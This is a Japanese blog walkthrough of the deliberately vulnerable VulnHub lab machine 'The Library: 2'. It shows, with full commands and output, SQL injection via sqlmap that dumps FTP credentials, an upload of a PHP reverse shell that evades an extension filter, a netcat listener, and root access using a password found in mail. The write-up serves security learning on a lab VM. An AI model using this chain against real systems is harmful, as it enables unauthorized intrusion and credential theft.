初心者がいっぱしのセキュリティエンジニアを目指す為に勉強した備忘録となりますので間違っているとことがあるかもしれません。
vulnhubの意図的に脆弱性が作り込まれたThe Library:2のWalkthroughとなります。
vulnhubの情報
Name | The Library: 2 |
---|---|
Date release | 25 Jul 2019 |
Author | Avraham Cohen |
Series | The Library |
PortScan:
nmap
を使用して、対象マシーンのポートを調べてみます。
ftp
とApache
が存在することがわかりました。
PORT | SERVICE | VERSION |
---|---|---|
21 | ftp | vsftpd 3.0.3 |
80 | http | Apache httpd 2.4.18 ((Ubuntu)) |
root@kali:~# nmap -sS -sV 192.168.56.57
Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-02 07:52 EDT
Nmap scan report for 192.168.56.57
Host is up (0.00066s latency).
Not shown: 969 filtered ports, 29 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:6C:4A:CD (Oracle VirtualBox virtual NIC)
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.05 seconds
Enumeration:
webサーバのディレクトリを探したとところ、library.php
を見つけました。
root@kali:~# dirb http://192.168.56.57 -X .php
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat May 2 07:53:48 2020
URL_BASE: http://192.168.56.57/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.56.57/ ----
+ http://192.168.56.57/library.php (CODE:200|SIZE:1546)
-----------------
END_TIME: Sat May 2 07:53:52 2020
DOWNLOADED: 4612 - FOUND: 1
Exploitation:
GETパラメータにSQLインジェクションがあるか探してみましたが見つからなかったので、
POSTメソッドに変更してsqlmap
を使用したところ、sqlインジェクションが存在することがわかりました。
root@kali:~# sqlmap -u 192.168.56.57/library.php --data "country=France" --dbs
___
__H__
___ ___[.]_____ ___ ___ {1.3#stable}
|_ -| . [.] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 08:00:26 /2020-05-02/
[08:00:26] [INFO] resuming back-end DBMS 'mysql'
[08:00:26] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: country (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: country=France' AND SLEEP(5) AND 'gVJm'='gVJm
---
[08:00:26] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 or 16.10 (yakkety or xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.12
[08:00:26] [INFO] fetching database names
[08:00:26] [INFO] fetching number of databases
[08:00:26] [INFO] resumed: 5
[08:00:26] [INFO] resumed: information_schema
[08:00:26] [INFO] resumed: library
[08:00:26] [INFO] resumed: mysql
[08:00:26] [INFO] resumed: performance_schema
[08:00:26] [INFO] resumed: sys
available databases [5]:
[*] information_schema
[*] library
[*] mysql
[*] performance_schema
[*] sys
[08:00:26] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.56.57'
[*] ending @ 08:00:26 /2020-05-02/
データベース名がわかったので、テーブルを指定してsqlmap
を使用したところ、ftp
のアカウント情報がわかりました。わかったアカウント情報でftp
接続することができました。
root@kali:~# sqlmap -u 192.168.56.57/library.php --data "country=France" -D library --dump
Database: library
Table: access
[1 entry]
+----+---------+----------+----------------+
| id | service | username | password |
+----+---------+----------+----------------+
| 1 | ftp | globus | AroundTheWorld |
+----+---------+----------+----------------+
root@kali:~# ftp 192.168.56.57
Connected to 192.168.56.57.
220 (vsFTPd 3.0.3)
Name (192.168.56.57:root): globus
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
FTP
に接続することができたのでリーバスシェルをアップロードし、サーバに接続できるか試します。
root@kali:~# cp /usr/share/webshells/php/php-reverse-shell.php shell.php
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx 2 1001 1001 4096 Jul 25 2019 html
226 Directory send OK.
ftp> cd html
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx 1 0 0 11321 Jul 17 2019 index.html
-rwxrwxrwx 1 0 0 3319 Jul 24 2019 library.php
-rwxrwxrwx 1 0 0 3172 Jul 21 2019 style.css
226 Directory send OK.
ftp> put shell.php
local: shell.php remote: shell.php
200 PORT command successful. Consider using PASV.
550 Permission denied.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx 1 0 0 11321 Jul 17 2019 index.html
-rwxrwxrwx 1 0 0 3319 Jul 24 2019 library.php
-rwxrwxrwx 1 0 0 3172 Jul 21 2019 style.css
226 Directory send OK.
ftp>
shell.php
をアップロードすることができませんでした。
ファイル名shell.PHP
に変更し再度アップロードしたところ、アップロードすることができました。 (実行権限も付与してあります。)
ftp> put shell.PHP
local: shell.PHP remote: shell.PHP
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5494 bytes sent in 0.00 secs (16.1713 MB/s)
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx 1 0 0 11321 Jul 17 2019 index.html
-rwxrwxrwx 1 0 0 3319 Jul 24 2019 library.php
-rw------- 1 1001 1001 5494 May 02 14:26 shell.PHP
-rwxrwxrwx 1 0 0 3172 Jul 21 2019 style.css
226 Directory send OK.
ftp> chmod 777 shell.PHP
200 SITE CHMOD command ok.
ペイロードのアップロードが完了したのでWEBブラウザから実行させます。その前に、netcat
を使用し接続を待ち受けます。アップロードしたペイロードを実行したところアクセスすることができました。
root@kali:~# netcat -lvp 1234
listening on [any] 1234 ...
192.168.56.57: inverse host lookup failed: Unknown host
connect to [192.168.56.3] from (UNKNOWN) [192.168.56.57] 51844
Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
14:30:10 up 1:06, 0 users, load average: 0.03, 0.02, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Privilege Escalation:
まずはpython
を使用しインタラクティブなシェルを取得します。
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@ubuntu:/$
いろいろな情報を探していたところ、mail
ディレクトリを発見しました。welcome
ファイルを確認したところ、rootユーザのパスワードらしきものが記載されていました。
www-data@ubuntu:/var/mail$ ls
ls
welcome
www-data@ubuntu:/var/mail$ cat welcome
cat welcome
Welcome Administrator,
This is the library.
Database credentials: username / password.
Root password: secretPassword
su
で先ほど見つけたパスワードでroot
ユーザに昇格できるか試したところ、root
ユーザになることができました。
いぇーい
www-data@ubuntu:/var/mail$ su root
su root
Password: secretPassword
root@ubuntu:/var/mail# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/var/mail#
免責事項
本記事は情報セキュリティにおける攻撃の理解、防衛のスキル向上を目的としたセキュリティに関する内容がございます。本記事の内容を使用し発生した如何なる損害や損失について、当記事作成者は一切の責任を負いません。
本記事の内容を実際に使用して、第三者の個人や組織などを攻撃した場合は
法律により罰せられる可能性がありので、必ず自身が所有している環境のみを
対象とし、他人や組織が所有している環境は決して対象としないようお願いします。